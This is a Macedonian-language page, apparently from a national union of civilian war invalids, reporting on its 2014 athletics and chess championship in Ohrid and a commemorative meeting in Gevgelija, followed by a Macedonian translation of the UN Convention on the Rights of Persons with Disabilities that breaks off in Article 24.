Home Blog

Државно првенство во атлетски повеќебој и шах 2014

Од 11-14.05. во Охрид беа одржани Државните првенства во атлетски повеќебој и шах.

На првенството во атлетика учесниците се натпреваруваа во фрлачки дисциплини и тоа диск, ѓуле и копје. Резултатите беа на нивото на годините на членовите но за поздравување е фактот што и покрај тоа владее голем интерес за атлетиката кај членовите. На шаховскиот турнир беа пријавени осум шахисти, а се играше по викенд правила секој со секого со половина час темпо по играч. Конечната табелата со првопласираните  изгледаше:

1.Жарко Селковски 5,5 поени

2.Мусли Пајазити 5 поени

3.Исаки Насуф 3,5 поени

Првопласираните тројца по одлука на Комисијата за спорт и рекреација се стекнаа со директен пласман за следната 2014 година. Исто така во склоп на Републичките спортски игри на цивилните инвалиди беше организирано и рекреативно пикадо. Исто така во склоп на манифестацијата беше организиран и еднодневен излет до Вевчани.

На оваа Манифестација беше поканета и делегација на Националниот сојуз на цивилни инвалиди од војната на Србија. Делегацијата беше составена од основачот и почесен претседател на сојузот Г-дин Велимир Цоковиќ, потпретседателот и придружник. Беше одржана и официјална средба на која се разговараше на теми поврзани со заштитата на цивилните инвалиди во двете држави.

Традиционална средба на НСЦИВМ – Гевгелија 2014

По повод Денот на цивилните инвалиди од војната – 6-ти Април, од почетокот на своето постоење, НСЦИВМ организира пригодна прослава. Целта на прославата е да се обележи споменот на цивилните жртви од војната и терористички напади. Намената е да се вклучат што повеќе цивилни инвалиди, а со тоа што поголема вклученост на инвалидите во живеењето и во креирање на настаните, што се поврзани со нивната инвалидност и на крај кон зајакнување на нивното чувство на припадност на организацијата. Покрај тоа активноста е наменета кон поттикнување на творештвото на цивилните инвалиди, запознавање на јавноста со нивното творештво итн. Недвојбено празнувањето на Денот на ЦИВ е посветен кон сите цивилни инвалиди и е доволно голема причина за оправданоста на оваа активност. Со оваа активност НСИВМ се обидува на цивилните инвалиди да им овозможи свое претставување и со тоа да се вклучат во социјалната околина како еднакви субјекти.

Како и секоја година, така и оваа, на 4-ти Април беше организирана Традиционалната средба, оваа година во градот домаќин – Гевгелија, на која по претходно изготвена програма и сатница беше посетен споменикот пред Домот на Културата во Гевгелија на на кое беше положено свежо цвеќе.

Потоа средбата продолжи во Домот на Културата каде беше организирана културно уметничка програма и поздравни говори на Градоначалникот на Гевгелија Г-дин Иван Франгов, кој воедно беше и покровител на оваа Манифестација, како и претседателот на Националниот сојуз на цивилни инвалиди од војната на Македонија господин Душан Нешевски.

Во својот говор претседателот се осврна на значењето на 6-ти Април ден на Окупацијата на Германија над Југославија и дека од тој моомент почнуваат и цивилните жртви во војната. Исто така тој се осврна на големиот акцент што го дава Националниот сојуз во превентивата од заостанат воен материјал. И на крај беше упатен апел да не се водат повеќе војни и со преговори и договори да се решаваат сите конфликти во светот.Исто така во склоп на оваа манифестација беше организиран Конкурс во сите основни училишта на Општина Гевгелија на тема„Војната долго се осветува“. првонаградените творби беа прочитани пред присутните.

На крајот од средбата беше организирано дружење на цивилните инвалиди од цела Македонија. На средбата присуствуваа окулу 150 членови цивилни инвалиди нивни придружници како и пријатели на Сојузот.

KОНВЕНЦИЈА ЗА ПРАВАТА НА ЛИЦА СО ИНВАЛИДНОСТ

Конвенција за правата на лица со инвалидност

Преамбула
Земјите потписнички на оваа Конвенција,
а. Повикувајќи на начелата наведени во Повелбата на Обединетите нации со која се признава вроденото достоинство и вредност и еднаквите неотуѓиви права на сите членови на човековото семејство како темел на слободата, правдата и мирот во светот,
б. Признавајќи дека Обединетите нации во Општата декларација за човекови права и Меѓународната конвенција за човековите права се изјасни и согласи дека секој има право на сите права и слободи утврдени во истите, без било каква дискриминација,
ц. Потврдувајќи ја универзалноста, неделивоста и поврзаноста на сите човекови права и основни слободи и потребата на лицата со инвалидност да им е загарантирано целосно уживање без дискриминација,

д. Повикувајќи се на Меѓународната конвенција за економски, социјални и културни права, Меѓународната конвенција за граѓански и политички права, Меѓународната конвенција за елиминација на сите облици на расна дискриминација, Конвенцијата за елиминација на сите облици на дискриминација на жените, Конвенцијата против измачување и друг вид на сурови, нечовечки и понижувачки казни и постапувања, Конвенцијата за правата на детето и Меѓународната конвенција за заштита на сите работници емигранти и членовите на нивните семејства,
е. Признавајќи дека инвалидност е производен концепт и дека истиот е резултат од интеракцијата меѓу лицата со нарушувања и пречките во односот и околината со што се спречува нивното целосно и ефикасно учество во општеството на еднаква основа со другите,
ф. Признавајќи ја важноста на начелата и политичките насоки што се содржат во Светската програма за акција на лицата со инвалидност и во Стандардните правила за изедначување на можностите за лицата инвалидност за влијание врз унапредувањето, формулацијата и оценувањето на политиките, плановите, програмите и акциите на национално, регионално и меѓународно ниво за унапредување на изедначените можности за лицата со инвалидност,
г. Нагласувајќи ја важноста на интегрирањето на прашањата поврзани со инвалидност како интегрален дел од соодветните стратегии на одржлив развој,
х. Признавајќи, исто така, дека дискриминацијата на секое лице врз основа на инвалидност е повреда на вроденото достоинство и вредност на човекот,
и. Признавајќи ја, исто така, различноста на лицата со инвалидност, ј. Признавајќи ја потребата за унапредување и заштита на човековите права на сите лица со инвалидност, вклучено и оние на кои имаат потреба од поинтензивна поддршка,
к. Засегнати дека, и покрај различните средства и преземени акции, лицата со инвалидност и понатаму се соочуваат со препреки при нивното учество како еднакви членови на општеството и со повреди на нивните човекови права во целиот свет,
л. Признавајќи ја важноста на меѓународната соработка за подобрување на условите на живеење на лицата со инвалидност во секоја земја, особено во земјите во развој,
м. Признавајќи ја вредноста на постојните и потенцијалните придонеси на лицата со инвалидност во однос на благосостојбата во целост и различноста на нивните заедници, и признавајќи дека унапредувањето на целосното уживање на човековите права и основните слободи на лицата со инвалидност, како и нивното целосно учество ќе придонесе за унапредување на нивното чувство на припадност и за значајно унапредување на човековиот, социјалниот и економскиот развој на општеството и искоренување на сиромаштијата,
н. Признавајќи ја важноста за поединечна автономност и независност на лицата со инвалидност, вклучено и слободата на нивните самостојни избори,
о. Земајќи предвид дека лицата со инвалидност треба да имаат можност за активно вклучување во процесите на решавање за политиките и програмите, вклучувајќи ги и оние кои непосредно ги засегнуваат,
п. Засегнати за тешките услови со кои се соочуваат лицата со инвалидност кои се предмет на многукратни и отежнати облици на дискриминација врз основа на раса, боја, пол, јазик, религија, политички и други мислења, национално, етничко, сиромашно или социјално потекло, имотен, роден, старосен или друг статус,
љ. Признавајќи дека жените и девојките со инвалидност се често под опасност, во и надвор од домот, од насилство, повреда, злоупотреба или небрежен однос, малтретирање и експлоатација,
р. Признавајќи дека децата со пречки во развојот треба во целост да ги уживаат човековите права и основни слободи на еднаква основа со другите деца, а исто така, повикувајќи и на обврските преземени од страна на земјите потписнички на Конвенцијата за правата на детето,
с. Истакнувајќи ја потребата за родова перспектива со сите заложби за целосно унапредување на уживањето на човековите права и основни слободи на лицата со инвалидност,
т. Истакнувајќи го фактот дека поголем дел од лицата со инвалидност живеат во услови на сиромаштија, а со тоа признавајќи ја критичната потреба од посветување на негативното влијание на сиромаштијата врз лицата со инвалидност,
у. Имајќи ги предвид условите на мир и безбедност засновани на целосно почитување на целите и начелата содржани во Повелбата на Обединетите нации и сметајќи дека примената на средствата за човекови права се неопходни за целосна заштита на лицата со инвалидност, особено во текот на воени конфликти и странска окупација,
в. Признавајќи ја важноста за достапност до физичка, социјална, економска и културна околина, до здравство и образование и до информации и комуникации со цел да им се овозможи на лицата со инвалидност во целост да ги уживаат човековите права и основни слободи,
њ. Сфаќајќи дека поединецот, кој има должности кон другите поединци и кон заедницата на која и припаѓа, има одговорност да се бори за унапредување и почитување на правата признаени во Меѓународниот акт за човекови права,
џ. Убедени дека семејството е природна и основна групна единица на општеството и има право на заштита од општеството и државата и дека лицата со инвалидност и членовите на нивните семејства траба да добиваат неопходна заштита и помош за да им се овозможи на семејствата да придонесуваат за целосно и еднакво уживање на правата на лицата со инвалидност,
ѕ. Убедени дека обемна и интегрална меѓународна конвенција за унапредување и заштита на правата и достоинството на лицата со попреченост инвалидност значително ќе придонесе за надоместување на длабоката социјална обесправеност на лицата со инвалидност и за унапредување на граѓанските, политичките, економските, социјалните и културните сфери на еднакви можности во земјите во развој и во развиените земји,

Член 1 – Цел
Целта на оваа Конвенција е унапредување, заштита и обезбедување на целосното и еднакво уживањето на сите човекови права и основни слободи на лицата со инвалидност, како и унапредување на почитувањето на нивното вродено достоинство. Лица со инвалидност се оние лица со долготрајни физички, ментални, интелектуални или сетилни нарушувања, кои во интеракција со различни пречки може да ја спречат нивната целосна и ефикасна застапеност во општеството на еднаква основа како и другите.

Член 2 – Дефиниции
За цели на оваа Конвенција се подразбираат:
• „Комуникација“ претставува јазици, презентирање на текст, Брајова азбука, комуникација со допир, големи букви, пристапна мултимедијалност, како и пишани, аудио, едноставно јазични софтвери, аугментативни и алтернативни модели, средства и инструменти за комуникација, вклучено и достапна информатичка и комуникациска технологија;
• „Јазик“ претставува говорни и знаковни јазици и други облици на неговорен јазик;
• „Дискриминација врз основа на инвалидност “, значи правење секаква разлика, исклученост или ограничување врз основа на инвалидност со цел или влијание врз нарушување или ништење на признавањето, уживањето или остварувањето, на еднаква основа со другите, на сите човекови права и основни слободи на политичко, економско, социјално, културно, граѓанско и на секое друго поле. Овде се вклучени сите облици на дискриминација, како и негирање на разумно прилагодување;
• „Разумно прилагодување“, значи неопходна и соодветна модификација и прилагодување не предизвикувајќи непропорционален и несоодветен товар, доколку е неопходно во одреден случај, за да им се обезбеди на лицата со инвалидност да ги уживаат или остваруваат човековите права и основните слободи на еднаква основа со другите;
• „Универзален модел“, значи модел или производ, средини, програми и услуги за користење од страна на луѓето до највисок можен обем, без потреба од прилагодување или специјализиран модел. „Универзален модел“ не исклучува помагала за одредени групи на лицата со инвалидност, доколку се неопходни.

Член 3 – Основни начела
За начела на оваа Конвенција се подразбираат:
а. Почитување на вроденото достоинство, индивидуалната автономност, вклучувајќи и слобода на свој избор и независност на лицата;
б. Индискриминација;
ц. Целосно и ефикасно учество и вклученост во општеството;
д. Почитување на разликите и прифаќање на лицата со инвалидност како дел од човековата различност и човештвото;
е. Рамноправни можности;
ф. Пристап;
г. Рамноправност меѓу мажите и жените;
х. Почитување на развојните способности на децата со пречки во развојот и почитување на правото на децата со пречки во развојот за зачувување на својот идентитет.

Член 4 – Основни обврски
1. Земјите потписнички се обврзуваат да обезбедат и промовираат целосно остварување на сите човекови права и основни слободи на сите лица со инвалидност без било каква дискриминација врз основа на попреченост. За таа цел, земјите учеснички се обврзуваат:
а. да го донесат соодветното законодавство, административни и други мерки за спроведување на правата признаени во оваа Конвенција;
б. да ги преземат сите соодветни мерки, вклучувајќи го и законодавството за измена и укинување на постојните закони, регулативи, обичаи и пракси, кои претставуваат дискриминација на лицата со инвалидност;
ц. да ја земат предвид заштитата и унапредувањето на човековите права на лицата со инвалидност во сите политики и програми;
д. да го избегнат влегувањето на секој акт или пракса која е недоследна на оваа Конвенција и да обезбедат јавните органи и институции да постапуваат во согласност со оваа Конвенција;
е. да ги преземат сите соодветни мерки за елиминација на дискриминацијата врз основа на инвалидност од страна на сите луѓе, организации или приватни претпријатија;
ф. да преземат или промовираат истражување и подобрување на универзално изработените производи, услуги, опрема и капацитети, како што е дефинирано во член 2 на оваа Конвенција, за што е потребно минимално можно прилагодување и минимални трошоци за да се исполнат посебните потреби на лица со инвалидност, унапредување на нивната достапност и користење и да се подобри универзалниот модел во развојот на стандардите и насоките;
г. да преземат или промовираат истражување и подобрување, како и унапредување на достапноста и користењето на нови технологии, вклучувајќи и информатички и комуникациски технологии, подвижни помагала, справи и помошни технологии, соодветни за лицата со инвалидност, давајќи приоритет на технологии со достапни цени;
х. да им обезбеди пристап до информации на лицата со инвалидност во врска со подвижни помагала, справи и помошни технологии, како и други форми на помош, подржани услуги и капацитети;
и. да промовира обука на професионалци и персонал кој работи со лицата со инвалидност во врска со правата признаени во оваа Конвенција, со цел подобро обезбедување на помош и услуги загарантирани со овие права;
2. Во однос на економските, социјалните и културните права, секоја земја потписничка да презеде мерки преку максимално искористување на расположливите ресурси, а доколку е неопходно, во рамките на меѓународната соработка, со цел да се постигне постепено и целосно остварување на овие права, не доведувајќи ги во прашање обврските содржани во оваа Конвенција кои се веднаш применливи во согласност со меѓународното законодавство.
3. Во однос на развојот и спроведувањето на законодавството и политиките за спроведување на оваа Конвенција, како и на другите процеси за донесување одлуки во врска со прашањата кои се однесуваат на лицата со инвалидност, земјите учеснички тесно ќе соработуваат и активно ќе ги вклучат лицата со инвалидност, како и децата со пречки во развојот, преку нивните релевантни организации.
4. Оваа Конвенција нема да влијае врз други одредби кои се покорисни за остварување на правата на лицата со инвалидност, содржани во законодавството на земја потписничка или во меѓународното законодавство кое е на сила во таа земја. Не постои ограничување или отстапување од сите човекови права и основни слободи признаени или постоечки во било која земја потписничка на оваа Конвенција врз основа на закон, конвенции, регулатива или обичај, под изговор дека оваа Конвенција не признава вакви права или слободи, или ги признава во помал обем.
5. Одредбите на оваа Конвенција се однесуваат на сите делови на федералните држави, без ограничувања или исклучоци.

Член 5 – Рамноправност и индискриминација
1. Земјите учеснички признаваат дека сите луѓе се еднакви пред и според законот и имаат право, без било каква дискриминација, на еднаква заштита и еднаква придобивка од законот.
2. Земјите учеснички забрануваат секаква дискриминација врз основа на инвалидност и им гарантираат на лицата со инвалидност еднаква и ефикасна законска заштита од дискриминација на секава основа.
3. Со цел промовирање на рамноправноста и елиминирање на дискриминацијата, земјите учеснички ги преземаат сите соодветни чекори за да обезбедат обезбедување на разумно прилагодување.
4. Посебните мерки неопходни за забрзување и постигнување на фактичка рамноправност на лицата со инвалидност не се смета за дискриминација според условите на оваа Конвенција.

Член 6 – Жени со инвалидност
1. Земјите учеснички признаваат дека жените и девојките со инвалидност се предмет на многукратни дискриминации и во овој правец ќе преземат мерки за да обезбедат нивно целосно и еднакво уживање на сите човекови права и основни слободи.
2. Земјите учеснички ги преземаат сите соодветни мерки за да обезбедат целосен развој, унапредување и овластување на жените со цел гарантирање и уживање на човековите права и основни слободи утврдени во оваа Конвенција.

Член 7 – Деца со пречки во развојот
1. Земјите учеснички ги преземаат сите неопходни мерки, за да обезбедат целосно остварување на сите човекови права и основни слободи на децата со пречки во развојот врз еднаква основа со другите деца.
2. При преземањето на сите акции во однос на децата со пречки во развојот, како примарна грижа се зема предвид најдобриот интерес на детето.
3. Земјите учеснички обезбедуваат дека децата со пречки во развојот имаат право слободно да ги изразат своите гледишта за сите проблеми кои ги засегаат, а на кои ќе се даде должно внимание во согласност со нивната возраст и зрелост, на еднаква основа со други деца, а да им се овозможи соодветна помош во однос на инвалидност и возраст со цел остварување на соодветното право.

Член 8 – Подигање на свеста
1. Земјите учеснички се обврзуваат да донесат непосредни, ефикасни и соодветни мерки за:
а. подигање на свеста преку општеството, вклучено и нивото на семејство во однос на лицата со инвалидност и поттикнување на почитувањето на правата и достоинството на лицата со инвалидност;
б. спречување на стереотипите, предрасудите и штетни пракси во однос на лицата со инвалидност, вклучувајќи и врз основа на пол и возраст, во сите области на живот;
ц. промовирање свест за способностите и придонесите на лицата со инвалидност. За таа цел мерките вклучуваат:
а. Иницирање и одржување на ефикасни кампањи за јавната свест наменети за:
и. поттикнување на почитување на правата на лицата со инвалидност
ии. развој на позитивни перцепции и поголема социјална свест кон лицата со инвалидност;
иии. развој на признавањето на вештините, заслугите и можностите на лицата со инвалидност и нивните придонеси на работното место и пазарот на труд;
б. Промовирање на почитувањето на правата на лицата со инвалидност, на сите нивоа на образовниот систем, вклучувајќи ги сите деца од најрана возраст;
ц. Поттикнување на сите тела на медиумите, да ги прикажуваат лицата со инвалидност на начин доследен на целите на оваа Конвенција;
д. Промовирање програми за обука за подигање на свеста, во однос на лицата со инвалидност и за правата на лицата со инвалидност.

Член 9 – Достапност
1. Со цел да им се овозможи на лицата со попреченост да живеат независно и во целост да учествуваат во сите аспекти на животот, земјите учеснички преземаат соодветни мерки за да им обезбедат на лицата со инвалидност пристап, на еднаква основа со другите, до просторната околина, транспорт, информации и комуникации, вклучувајќи и до информатичките и комуникациските технологии и системи, како и до други капацитети и услуги отворени или обезбедени за јавноста, во урбаните и во руралните области. Овие мерки, во кои е вклучено идентификацијата и елиминацијата на препреки и бариери за пристап, меѓу другото, се однесуваат на:
а. Објекти, патишта, транспортни и други внатрешни и надворешни средства и капацитети, вклучувајќи и училишта, домови, медицински објекти и работни места;
б. Информации, комуникации и други услуги, вклучувајќи и електронски и итни служби.
2. Исто така, земјите учеснички ќе преземат соодветни мерки и за:
а. Развој, ширење и следење на спроведувањето на минимални стандарди и насоки за пристапност до капацитети и служби отворени и обезбедени за јавноста;
б. Обезбедување приватните ентитети кои нудат капацитети и услуги отворени и обезбедени за јавноста, да ги земат предвид сите аспекти на пристапност за лицата со инвалидност;
ц. Обезбедување обука за партнерите, во однос на прашањата за пристапност, со кои се соочуваат лицата со инвалидност;
д. Обезбедување ознаки со Брајова азбука во лесно читлива и разбирлива форма во објектите и другите капацитети отворени за јавност;
е. Обезбедување облици на помошници и посредници, вклучувајќи и водичи, читачи и професионални толкувачи на знаковниот јазик, со цел да се поедностави пристапноста во објекти и други капацитети отворени за јавност;
ф. Промовирање на други соодветни облици на помош и поддршка на лицата со инвалидност, за да се обезбеди нивен пристап до информации;
г. Промовирање на пристап до нови информатички и комуникациски технологии и системи на лицата со инвалидност, вклучувајќи и интернет;
х. Промовирање на модел, развој, производство и дистрибуција на достапни информатички и комуникациски технологии и системи во рана фаза, со цел истите да бидат достапни по минимални цени.

Член 10 – Право на живот
Земјите учеснички потврдуваат дека секое човечко суштество има вродено право на живот и ги преземаат сите неопходни мерки за да обезбедат ефикасно уживање на тоа право на лицата со инвалидност, на еднаква основа со другите.

Член 11 – Состојба на опасност и хуманитарни итни случаи
Земјите учеснички, во согласност со нивните обврски според меѓународното законодавство, вклучувајќи го и меѓународното хуманитарно законодавство и меѓународните човекови права, ги преземаат сите неопходни мерки за да обезбедат заштита и безбедност на лицата со инвалидност во ситуации на опасност, вклучено и ситуации на воени конфликти, хуманитарни итни случаи и при појава на природни катастрофи.

Член 12 – Еднакво признавање пред законот
1. Земјите учеснички потврдуваат дека, лицата со инвалидност насекаде имаат право на признавање, како и луѓето пред законот.
2. Земјите учеснички признаваат дека, лицата со инвалидност уживаат законски права, на еднаква основа со другите во сите аспекти на животот.
3. Земјите учеснички преземаат соодветни мерки со цел да им обезбедат на лицата со инвалидност пристап до поддршката, која може да им е потребна при остварувањето на нивните законски права.
4. Земјите учеснички обезбедуваат спречување на злоупотреба во согласност со меѓународните хуманитарни права, со сите мерки кои се однесуваат на остварувањето на законските права со кои се предвидуваат соодветни и ефикасни заштитни мерки. Со овие заштитни мерки се обезбедува дека мерките што се однесуваат на остварувањето на законското почитување на правата, волјата и привилегиите на лицето, се ослободени од конфликт на интереси и влијанија и се пропорционални и прилагодени на состојбите на лицето, истите да се применуваат во најкраток можен рок и се предмет на редовни контроли од страна на надлежен, независен и непристрасен орган или судско тело. Заштитните мерки се пропорционални на степенот, на кој овие мерки влијаат врз правата и интересите на лицето.
5. Како предмет на одредбите на овој член, земјите учеснички ги преземаат сите соодветни и ефикасни мерки за да обезбедат еднакво право на лицата со инвалидност да поседуваат или наследат сопственост, да ги контролираат своите финансиски работи и да имаат еднаков пристап до банкарски заеми и други форми на финансиско кредитирање и обезбедуваат дека лицата со инвалидност не се субјективно лишени од својата сопственост.

Член 13 – Пристап до правда
1. Земјите потписнички обезбедуваат ефикасен пристап до правда на лицата со инвалидност на еднаква основа со другите, вклучено и преку одредбата за процедурални и соодветни на возраста прилагодувања, со цел поедноставување на нивната ефикасна улога како директни и индиректни учесници, вклучено и како сведоци во сите законски постапки, од самата фаза на истрага и друга прелиминарна фаза.
2. Со цел да се помогне при обезбедувањето на ефикасен пристап до правдата на лицата со инвалидност, земјите потписнички промовираат соодветни обуки за вработените на полето на спроведување на правдата, вклучувајќи го и полицискиот и затворскиот персонал.

Член 14 – Слобода и безбедност на личноста
1. Земјите потписнички обезбедуваат дека лицата со инвалидност, на еднаква основа со другите:
а. го уживаат правото на слобода и безбедност на личноста;
б. и дека не се незаконски и субјективно лишени од нивните слободи и дека секое лишување од слобода е во согласност со законот и дека постоењето на инвалидност во ниту еден случај не е го оправдува лишувањето од слобода.
2. Земјите потписнички обезбедуваат дека, доколку лицата со инвалидност се лишени од слобода преку постапка, тие на еднаква основа со другите, имаат право на гаранции во согласност со меѓународните човекови права и се третираат во согласност со целите и начелата од оваа Конвенција, вклучувајќи и обезбедување на разумно прилагодување.

Член 15 – Ослободување од измачување или сурови, нечовечки и понижувачки постапувања или казни
1. Никој нема да биде предмет на измачување или сурови, нечовечки и понижувачки постапувања или казни. Особено, никој нема да биде предмет, без негова или нејзина слободна согласност, на медицински или научни испитувања.
2. Земјите потписнички преземаат ефикасни законски, правосудни или други мерки за да се спречи лицата со инвалидност, на еднаква основа, да бидат предмет на измачување или сурови, нечовечки и понижувачки постапувања или казни.

Член 16 – Ослободување од експлоатација, насилство и злоупотреба
1. Земјите потписнички преземаат соодветни законски, административни, социјални и други мерки за заштита на лицата со инвалидност, во и надвор од домот, од сите облици на експлоатација, насилство и злоупотреба, вклучено и од аспект на пол.
2. Земјите потписнички, исто така, ги преземаат сите соодветни мерки за спречување на сите облици на експлоатација, насилство и злоупотреба, преку, меѓу другото, обезбедување соодветни облици на помош и поддршка на полова и старосна чувствителност на лицата со инвалидност, нивните семејства и старатели, вклучено преку обезбедување информации и образование како да се одбегнуваат, препознаат и
пријавуваат случаите на експлоатација, насилство и злоупотреба. Земјите потписнички обезбедуваат дека службите за заштита се чувствителни на возраст, пол и инвалидност.
3. Со цел да се спречи појавата на сите форми на експлоатација, насилство и злоупотреба, земјите потписнички обезбедуваат дека, сите капацитети и програми моделирани за потребите на лицата со инвалидност, ефикасно се следат од страна на независни органи.
4. Земјите потписнички преземаат соодветни мерки за унапредување на физичката, когнитивната и психичката реанимација, рехабилитација и социјална реинтеграција на лицата со инвалидност, кои биле жртви на секој облик на експлоатација, насилство и злоупотреба, вклучено и преку обезбедување на заштитни услуги. Оваа реанимација и реинтеграција се одвива во средина за подобрување на здравјето, благосостојбата, самопочитта, достоинството и самостојноста на лицето и при тоа се земаат предвид специфичните полови и старосни потреби.
5. Земјите потписнички спроведуваат ефикасно законодавство и политики, вклучувајќи ги и законодавство и политиките насочени кон жените и децата, со цел да се обезбеди случаите на експлоатација, насилство и злоупотреба на лицата со инвалидност да се идентификуваат, истражуваат, а доколку е неопходно, да се покренат и постапки.

Член 17 – Заштита на интегритетот на личноста
Секое лице со инвалидност има право на почитување на неговиот или нејзиниот физички и ментален интегритет на еднаква основа со другите.

Член 18 – Слобода на движење и национална припадност
1. Земјите потписнички ги признаваат правата на лицата со инвалидност на слобода на движење, слобода на избор на место на живеење и национална припадност, на еднаква основа со другите, обезбедувајќи дека лицата со инвалидност:
а. имаат право да се здобијат и да ја променат национална припадност и дека не се лишени од нивната национална припадност субјективно или врз основа на инвалидност;
б. не се лишени, врз основа на инвалидност, од нивната можност да добијат, поседуваат и користат документација за нивната национална припадност или друга документација за идентификација, или да ги користат соодветните процеси, како на пример, постапки на емиграција, доколку се неопходни да го обезбедат остварувањето на правото на слобода на движење;
ц. имаат слобода да ја напуштат секоја земја, вклучено и сопствената;
д. не се лишени, субјективно или врз основа на инвалидност, од правото за влез во својата земја.
2. Децата со пречки во развојот веднаш по раѓањето се пријавуваат и од раѓање имаат право на име, право на добивање државјанство, а доколку е возможно, право да ги знаат и да бидат згрижени од своите родители.

Член 19 – Независно живеење и вклученост во заедницата
Земјите потписнички на оваа Конвенција го признаваат правото на еднаквост на сите, лицата со инвалидност да живеат во заедниците, по избор како и другите, и преземаат ефикасни соодветни мерки да обезбедат уживање на лицата со инвалидност на своето право и нивно целосно вклучување и учество во заедницата, а особено обезбедуваат:
а. лицата со инвалидност да имаат можност на избор на местото на живеење, каде и со кого да живеат, на еднаква основа со другите и не се обврзани да живеат според одредени организирани услови на живеење;
б. лицата со инвалидност да имаат пристап до обем на домашни, резидентни и други заеднички поддржни услуги, вклучувајќи и лична помош неопходна за поддршка на живеење и вклучување во заедницата и спречување на изолација и сегрегација од заедницата;
ц. заеднички услуги и капацитети за општата популација да се достапни на еднаква основа на лицата со инвалидност и да одговараат на нивните потреби.

Член 20 – Лична мобилност
Земјите потписнички преземаат ефикасни мерки за да обезбедат лична мобилност со највисока можна независност на лицата со инвалидност, особено преку:
а. овозможување лична мобилност на лицата со инвалидност на начин и во периодот на нивниот избор и по пристапна цена;
б. овозможување пристап на лицата со инвалидност на квалитетни помагала, справи и помошни технологии и облици на помошници и посредници, особено по достапни цени;
ц. обезбедување обуки и вештини за мобилност на лицата со инвалидност и до специјализиран персонал кој работи со лицата со инвалидност;
д. поттикнување на ентитетите кои произведуваат помагала, справи и помошни технологии да ја земат предвид мобилноста на лицата со инвалидност;

Член 21 – Слобода на изразување и мислење и пристап до информации Земјите потписнички ги преземаат сите соодветни мерки со цел да обезбедат лицата со инвалидност да можат да го остваруваат правото на слобода на изразување и мислење, особено на слободата да бараат, добиваат и доставуваат информации и идеи на еднаква основа со другите, како и преку сите форми на комуникација по нивен избор, како што е утврдено во член 2 од оваа Конвенција, вклучувајќи и преку:
а. обезбедување информации наменети за јавноста на лицата со инвалидност навремено и без дополнителни трошоци во достапен формат и технологии соодветни на поединечни видови на инвалидност;
б. прифаќање и олеснување на користењето на знаковните јазици, Брајовата азбука, аугментативна и алтернативна комуникација, како и други пристапни средства, модели и формати на комуникација по нивен избор за лицата со инвалидност при официјални интеракции;
ц. залагање на приватните ентитети кои обезбедуваат услуги на јавноста, вклучено и преку интернет, да обезбедат информации и услуги во достапни и корисни формати за лицата со инвалидност;
д. поттикнување на масовните медиуми, вклучувајќи ги и оние за обезбедување на информации преку интернет, да обезбедат достапност за лицата со инвалидност;
е. признавање и промовирање на користењето на знаковните јазици.

Член 22 – Почитување на приватноста
1. Ниту едно лице со инвалидност, независно од местото на престојување или организираните услови на живеење е предмет на субјективно или незаконско мешање во неговата или нејзината приватност, семејство, дом или во друг вид односи или комуникација или незаконски напад врз неговата или нејзината репутација или чест. Лицата со инвалидност имаат право на законска заштита од овие мешања или напади.
2. Земјите потписнички ја заштитуваат приватноста на личните, здравствените и рехабилитационите информации на лицата со инвалидност, на еднаква основа со другите.

Член 23 – Почитување на домот и семејството
1. Земјите потписнички преземаат ефикасни и соодветни мерки за елиминирање на дискриминацијата на лицата со инвалидност од сите проблематики во однос на брак, семејство, родителство и односи, на еднаква основа со другите, со цел да се обезбеди:
а. Правото на сите лица со инвалидност кои се зрели за брак, да се венчаат и да основаат семејство врз основа на признавање на слободна и целосна согласност на идните брачни партнери;
б. Правата на лицата со инвалидност да одлучуваат слободно и одговорно за бројот на планирањето на своите деца и да имаат пристап до информации соодветни на возраста, признавање на образование за репродуктивно и семејно планирање, како и обезбедување на средствата неопходни за да им се обезбеди да остварување на овие;
ц. Лицата со инвалидност, вклучено и децата, ја задржуваат својата плодност на еднаква основа со другите.
2. Земјите потписнички ги обезбедуваат правата и одговорностите на лицата со инвалидност, во однос на туторство и старателство, усвојување на деца или слични институции, доколку овие концепти постојат во националното законодавство; во сите случаи предност се дава на најдобриот интерес за детето. Земјите потписнички обезбедуваат соодветна помош на лицата со инвалидност во извршувањето на нивните одговорности во однос на децата.
3. Земјите потписнички обезбедуваат децата со пречки во развојот да имаат еднакви право во однос на семеен живот. Со цел остварување на овие права и спречување на прикривање, напуштање, запоставување и сегрегација на децата со пречки во развојот, земјите потписнички се обврзуваат да обезбедат навремени и обемни информации, услуги и поддршка на децата со пречки во развојот и на нивните семејства.
4. Земјите потписнички обезбедуваат детето да не се одделува од своите родители против нивна волја, освен ако надлежните органи, предмет на судско испитување, одлучат, во согласност со позитивните закони и постапки, одлучат дека ова одделување е неопходно во најдобар интерес на детето. Во ниту еден случај дете се одделува од родителите врз основа на инвалидност на детето или на еден или двата
родители.
5. Земјите потписнички, доколку потесното семејство не е способно да се грижи за дете со пречки во развојот, се обврзува да ги преземат сите заложби со цел да обезбедат алтернативна грижа во рамките на поширокото семејство, а во случај на невозможност, во рамките на заедницата на семејното опкружување.

Член 24 – Образование
1. Земјите потписнички го признаваат правото на образование на лицата со инвалидност. Со цел остварување на ова право без дискриминација и врз основа на еднакви можности, земјите потписнички обезбедуваат вклучен систем на образование на сите нивоа и доживотно учење наменето за:
а. Целосен развој на човековиот потенцијал и чувство на достоинство и самовреднување, како и зајакнување на почитувањето на човековите права, основни слободи и човековата различност;
б. Развој на идентитетот, надареноста и креативноста на лицата со инвалидност, како и на нивните ментални и физички способности до ниво на целосен потенцијал;
ц. Овозможување на лицата со инвалидност ефикасно да учествуваат во слободното општество.
2. При реализирањето на ова право, земјите потписнички обезбедуваат:
а. лицата со инвалидност да не се исклучуваат од општиот образовен систем врз основа на инвалидност, и децата со пречки во развојот да не се исклучуваат од бесплатното и задолжителното основно образование, или од средното образование врз основа на инвалидност;
б. лицата со инвалидност да имаат пристап до вклучително, квалитетно и бесплатно основно образование и средно образование на еднаква основа со другите во заедниците во кои живеат;
ц. разумно прилагодување на индивидуалните потреби;
д. лицата со инвалидност да ја добијат потребната поддршка во рамките на општиот образовен систем, за да се поедностави нивното ефикасно образование;
е. мерки за ефикасна индивидуална поддршка во средините со максимален академски и социјален развој, доследен до целите на потполно вклучување.
3. Земјите потписнички им овозможуваат на лицата со инвалидност да ги научат животните и социјални развојни вештини со цел обезбедување на еднакво учество во образованието и како членови на заедницата. За таа цел, земјите учеснички преземаат соодветни мерки, а особено:
а. Обезбедување на изучувањето на Брајовата азбука, алтернативно писмо, аугментативни и алтернативни модели, средства и формати на комуникација и ориентација и мобилни вештини, како и обезбедување на еднаква поддршка и менторство;
